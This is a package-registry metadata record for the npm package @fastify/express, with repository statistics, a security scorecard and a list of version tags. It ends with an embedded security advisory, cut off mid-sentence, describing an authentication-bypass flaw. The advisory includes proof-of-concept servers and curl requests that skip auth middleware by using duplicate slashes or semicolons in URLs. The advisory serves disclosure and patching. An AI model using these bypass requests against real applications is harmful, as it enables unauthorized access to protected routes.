{"id":4375491,"name":"@fastify/express","ecosystem":"npm","description":"Express compatibility layer for Fastify","homepage":"https://github.com/fastify/fastify-express#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/fastify/fastify-express","keywords_array":["fastify","express","middlewares","use","compatibility"],"namespace":"fastify","versions_count":17,"first_release_published_at":"2022-04-27T13:51:47.811Z","latest_release_published_at":"2026-04-15T01:52:49.862Z","latest_release_number":"4.0.5","last_synced_at":"2026-05-22T01:16:14.089Z","created_at":"2022-05-24T13:29:19.763Z","updated_at":"2026-05-22T01:16:14.090Z","registry_url":"https://www.npmjs.com/package/@fastify/express","install_command":"npm install @fastify/express","documentation_url":null,"metadata":{"funding":[{"type":"github","url":"https://github.com/sponsors/fastify"},{"type":"opencollective","url":"https://opencollective.com/fastify"}],"dist-tags":{"next":"4.0.0","latest":"4.0.5"}},"repo_metadata":{"id":34257251,"uuid":"173994635","full_name":"fastify/fastify-express","owner":"fastify","description":"Express compatibility layer for Fastify","archived":false,"fork":false,"pushed_at":"2026-05-04T06:54:09.000Z","size":196,"stargazers_count":272,"open_issues_count":6,"forks_count":29,"subscribers_count":12,"default_branch":"main","last_synced_at":"2026-05-15T17:05:54.289Z","etag":null,"topics":["compatibility","express","fastify","fastify-plugin"],"latest_commit_sha":null,"homepage":"https://npmjs.com/package/@fastify/express","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/fastify.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":"fastify","open_collective":"fastify"}},"created_at":"2019-03-05T17:54:14.000Z","updated_at":"2026-05-04T06:52:52.000Z","dependencies_parsed_at":"2023-01-15T05:42:55.138Z","dependency_job_id":"3916acef-38b6-4822-9eb2-226ffc8c5fb4","html_url":"https://github.com/fastify/fastify-express","commit_stats":{"total_commits":162,"total_committers":21,"mean_commits":7.714285714285714,"dds":0.6358024691358024,"last_synced_commit":"bc482e4cf97607d1a809e3610c5ee184187fbdae"},"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/fastify/fastify-express","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/fastify","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/sbom","scorecard":{"id":393359,"data":{"date":"2025-08-11","repo":{"name":"github.com/fastify/fastify-express","commit":"13f6a30d49eb065bd0924ff8a93253689a4b8832"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.1,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/23 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":0,"reason":"1 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/ci.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci.yml:18"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/fastify/fastify-express/ci.yml/main?enable=pin","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: github.com/fastify/.github/SECURITY.md:1","Info: Found linked content: github.com/fastify/.github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: github.com/fastify/.github/SECURITY.md:1","Info: Found text in security policy: github.com/fastify/.github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 24 commits out of 25 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T18:22:48.130Z","repository_id":34257251,"created_at":"2025-08-18T18:22:48.130Z","updated_at":"2025-08-18T18:22:48.130Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33198857,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"online","status_checked_at":"2026-05-19T02:00:06.763Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"fastify","name":"Fastify","uuid":"24939410","kind":"organization","description":"Fast and low overhead web framework, for Node.js","email":"hello@fastify.dev","website":"https://fastify.dev","location":"United States of America","twitter":"fastifyjs","company":null,"icon_url":"https://avatars.githubusercontent.com/u/24939410?v=4","repositories_count":138,"last_synced_at":"2025-12-12T23:39:47.782Z","metadata":{"has_sponsors_listing":true,"funding":{"github":"fastify","open_collective":"fastify"}},"html_url":"https://github.com/fastify","funding_links":["https://github.com/sponsors/fastify","https://opencollective.com/fastify"],"total_stars":61062,"followers":1117,"following":0,"created_at":"2022-11-02T16:30:46.974Z","updated_at":"2025-12-12T23:39:47.782Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/fastify","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/fastify/repositories"},"tags":[{"name":"v4.0.4","sha":"00f64854e9691290b0db9a1f4358c87eb95939aa","kind":"commit","published_at":"2026-01-17T09:58:51.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v4.0.4","html_url":"https://github.com/fastify/fastify-express/releases/tag/v4.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v4.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.4/manifests"},{"name":"v4.0.3","sha":"d1c061dae9fe9c60ba22ce54cad166cfb4a86993","kind":"commit","published_at":"2026-01-05T19:03:45.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v4.0.3","html_url":"https://github.com/fastify/fastify-express/releases/tag/v4.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v4.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.3/manifests"},{"name":"v4.0.2","sha":"ae2e8fa0dfece131794eb60de8d548ff2be3da59","kind":"tag","published_at":"2025-01-11T11:31:25.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v4.0.2","html_url":"https://github.com/fastify/fastify-express/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"fcb0b27f926cfff46edbd3cdfea8b8176e68d0c2","kind":"commit","published_at":"2024-09-21T08:41:26.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v4.0.1","html_url":"https://github.com/fastify/fastify-express/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"b76dcf75ec7f0e968788c3addb6ba4df5336cb5c","kind":"commit","published_at":"2024-09-06T15:46:54.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v4.0.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v4.0.0/manifests"},{"name":"v3.0.0","sha":"b011441d1e2ccec180fa5664f08a384b0467b8b9","kind":"commit","published_at":"2024-04-16T14:55:40.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v3.0.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v3.0.0/manifests"},{"name":"v2.3.0","sha":"7c5f821459e799b1f9c85820a86f1cf790240544","kind":"commit","published_at":"2022-12-15T12:20:29.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v2.3.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.3.0/manifests"},{"name":"v2.2.0","sha":"7c10abba16f01d80cc74fd9f6d03bf6e14855549","kind":"commit","published_at":"2022-12-01T07:54:51.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v2.2.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"60d84f07d60012876d9dcfce8d7f24c2849fcd47","kind":"commit","published_at":"2022-10-25T10:27:00.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v2.1.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"38b84d508fc4113320a1ddf8ea4746d4d1633013","kind":"commit","published_at":"2022-08-26T12:51:46.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v2.0.2","html_url":"https://github.com/fastify/fastify-express/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"f80c70d36912d04bf7ec27c26bdb692398e58883","kind":"commit","published_at":"2022-07-14T13:37:54.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v2.0.1","html_url":"https://github.com/fastify/fastify-express/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"7ce0d56e37405bc26e42f0d641a5af7681214310","kind":"commit","published_at":"2022-05-24T12:29:32.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v2.0.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v2.0.0/manifests"},{"name":"v1.1.0","sha":"e27b307b70471707918661aafda4fbe4a241845e","kind":"commit","published_at":"2022-05-04T09:26:57.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v1.1.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"25ab9850196ff83ddbe8414a50445db89362752c","kind":"commit","published_at":"2022-04-27T13:51:30.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v1.0.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v1.0.0/manifests"},{"name":"v0.3.3","sha":"3677180c2f871c56217a52c17f90f9a14419a38f","kind":"commit","published_at":"2021-07-02T15:40:35.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v0.3.3","html_url":"https://github.com/fastify/fastify-express/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"4cd372766dcff09764845b3c2a74eeb902776344","kind":"commit","published_at":"2020-10-22T14:55:57.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v0.3.2","html_url":"https://github.com/fastify/fastify-express/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"f0c87a029d3bc12a379239ea3e7701507c93d08e","kind":"commit","published_at":"2020-10-22T08:30:40.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v0.3.1","html_url":"https://github.com/fastify/fastify-express/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"a0f23a88485c03037b7d863b21894f547ce9fd62","kind":"commit","published_at":"2020-10-21T15:18:08.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v0.3.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"d525c0c8a9b67c3bae59537ca9fcb2fb4cd2608b","kind":"commit","published_at":"2020-10-13T10:09:30.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v0.2.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"e77cb00072f7904acad93f02c86f86098b349cfb","kind":"commit","published_at":"2020-04-28T08:09:15.000Z","download_url":"https://codeload.github.com/fastify/fastify-express/tar.gz/v0.1.0","html_url":"https://github.com/fastify/fastify-express/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/fastify/fastify-express@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fastify%2Ffastify-express/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-05-20T03:15:19.887Z","dependent_packages_count":24,"downloads":410754,"downloads_period":"last-month","dependent_repos_count":73,"rankings":{"downloads":0.7011591569808244,"dependent_repos_count":1.6050594037941597,"dependent_packages_count":1.031219654110922,"stargazers_count":3.9260932369584354,"forks_count":4.998430135996841,"docker_downloads_count":1.5444925100495492,"average":2.301075682981789},"purl":"pkg:npm/%40fastify/express","advisories":[{"uuid":"GSA_kwCzR0hTQS02aHc1LTQ1Z20tZmo4OM4ABVWs","url":"https://github.com/advisories/GHSA-6hw5-45gm-fj88","title":"@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)","description":"### Summary\n\n`@fastify/express` v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:\n\n1. **Duplicate slashes** (`//admin/dashboard`) when `ignoreDuplicateSlashes: true` is configured\n2. **Semicolon delimiters** (`/admin;bypass`) when `useSemicolonDelimiter: true` is configured\n\nIn both cases, Fastify's router normalizes the URL and matches the route, but `@fastify/express` passes the original un-normalized URL to Express middleware, which fails to match and is skipped.\n\nNote: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in `@fastify/middie` via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but `@fastify/express` does not include the equivalent fixes.\n\n### Details\n\nThe vulnerability exists in `@fastify/express`'s `enhanceRequest` function (`index.js` lines 43-46):\n\n```javascript\nconst decodedUrl = decodeURI(url)\nreq.raw.url = decodedUrl\n```\n\nThe `decodeURI()` function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, `find-my-way` applies these normalizations during route matching, but `@fastify/express` passes the original URL to Express middleware.\n\n#### Vector 1: Duplicate Slashes\n\nWhen `ignoreDuplicateSlashes: true` is set, Fastify's `find-my-way` router normalizes `//admin/dashboard` to `/admin/dashboard` for route matching. However, Express middleware receives `//admin/dashboard`. Express's `app.use('/admin', authMiddleware)` expects paths to start with `/admin/`, but `//admin` does not match the `/admin` prefix pattern.\n\nThe attack sequence:\n1. Client sends `GET //admin/dashboard`\n2. Fastify's router normalizes this to `/admin/dashboard` and finds a matching route\n3. `enhanceRequest` sets `req.raw.url = \"//admin/dashboard\"` (preserves double slash)\n4. Express middleware `app.use('/admin', authMiddleware)` does not match `//admin` prefix\n5. Authentication is bypassed, and the Fastify route handler executes\n\n#### Vector 2: Semicolon Delimiters\n\nWhen `useSemicolonDelimiter: true` is configured, the router uses `find-my-way`'s `safeDecodeURI()` which treats semicolons as query string delimiters, splitting `/admin;bypass` into path `/admin` and querystring `bypass` for route matching. However, `@fastify/express` passes the full URL `/admin;bypass` to Express middleware.\n\nExpress uses path-to-regexp v0.1.12 internally, which compiles middleware paths like `/admin` to the regex `/^\\/admin\\/?(?=\\/|$)/i`. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.\n\nThe attack flow:\n1. Request `GET /admin;bypass` arrives\n2. Fastify router: splits at `;` — matches route `GET /admin`\n3. Express middleware: regex `/^\\/admin\\/?(?=\\/|$)/i` fails against `/admin;bypass` — middleware skipped\n4. Route handler executes without authentication checks\n\n### PoC\n\n#### Duplicate Slash Bypass\n\nSave as `server.js` and run with `node server.js`:\n\n```js\nconst fastify = require('fastify')\n\nasync function start() {\n  const app = fastify({\n    logger: false,\n    ignoreDuplicateSlashes: true,  // documented Fastify option\n  })\n\n  await app.register(require('@fastify/express'))\n\n  // Standard Express middleware auth pattern\n  app.use('/admin', function expressAuthGate(req, res, next) {\n    const auth = req.headers.authorization\n    if (!auth || auth !== 'Bearer admin-secret-token') {\n      res.statusCode = 403\n      res.setHeader('content-type', 'application/json')\n      res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))\n      return\n    }\n    next()\n  })\n\n  // Protected route\n  app.get('/admin/dashboard', async (request) =\u003e {\n    return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }\n  })\n\n  await app.listen({ port: 3000 })\n  console.log('Listening on http://localhost:3000')\n}\nstart()\n```\n\n```bash\n# Normal access — blocked by Express middleware\n$ curl -s http://localhost:3000/admin/dashboard\n{\"error\":\"Forbidden by Express middleware\"}\n\n# Double-slash bypass — Express middleware skipped, handler runs\n$ curl -s http://localhost:3000//admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n\n# Triple-slash also works\n$ curl -s http://localhost:3000///admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n```\n\nMultiple variants work: `///admin`, `/.//admin`, `//admin//dashboard`, etc.\n\n#### Semicolon Bypass\n\n```javascript\nconst fastify = require('fastify')\nconst http = require('http')\n\nfunction get(port, url) {\n  return new Promise((resolve, reject) =\u003e {\n    http.get('http://localhost:' + port + url, (res) =\u003e {\n      let data = ''\n      res.on('data', (chunk) =\u003e data += chunk)\n      res.on('end', () =\u003e resolve({ status: res.statusCode, body: data }))\n    }).on('error', reject)\n  })\n}\n\nasync function test() {\n  const app = fastify({ \n    logger: false, \n    routerOptions: { useSemicolonDelimiter: true }\n  })\n  await app.register(require('@fastify/express'))\n  \n  // Auth middleware blocking unauthenticated access\n  app.use('/admin', function(req, res, next) {\n    if (!req.headers.authorization) {\n      res.statusCode = 403\n      res.setHeader('content-type', 'application/json')\n      res.end(JSON.stringify({ error: 'Forbidden' }))\n      return\n    }\n    next()\n  })\n  \n  app.get('/admin', async () =\u003e ({ secret: 'classified-info' }))\n  \n  await app.listen({ port: 19900, host: '0.0.0.0' })\n  \n  // Blocked:\n  let r = await get(19900, '/admin')\n  console.log('/admin:', r.status, r.body)\n  // Output: /admin: 403 {\"error\":\"Forbidden\"}\n  \n  // BYPASS:\n  r = await get(19900, '/admin;bypass')\n  console.log('/admin;bypass:', r.status, r.body)\n  // Output: /admin;bypass: 200 {\"secret\":\"classified-info\"}\n  \n  r = await get(19900, '/admin;')\n  console.log('/admin;:', r.status, r.body)\n  // Output: /admin;: 200 {\"secret\":\"classified-info\"}\n  \n  await app.close()\n}\ntest()\n```\n\nActual output:\n```\n/admin: 403 {\"error\":\"Forbidden\"}\n/admin;bypass: 200 {\"secret\":\"classified-info\"}\n/admin;: 200 {\"secret\":\"classified-info\"}\n```\n\nThe semicolon bypass works with any text after it: `/admin;`, `/admin;x`, `/admin;jsessionid=123`.\n\n### Impact\n\nComplete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker 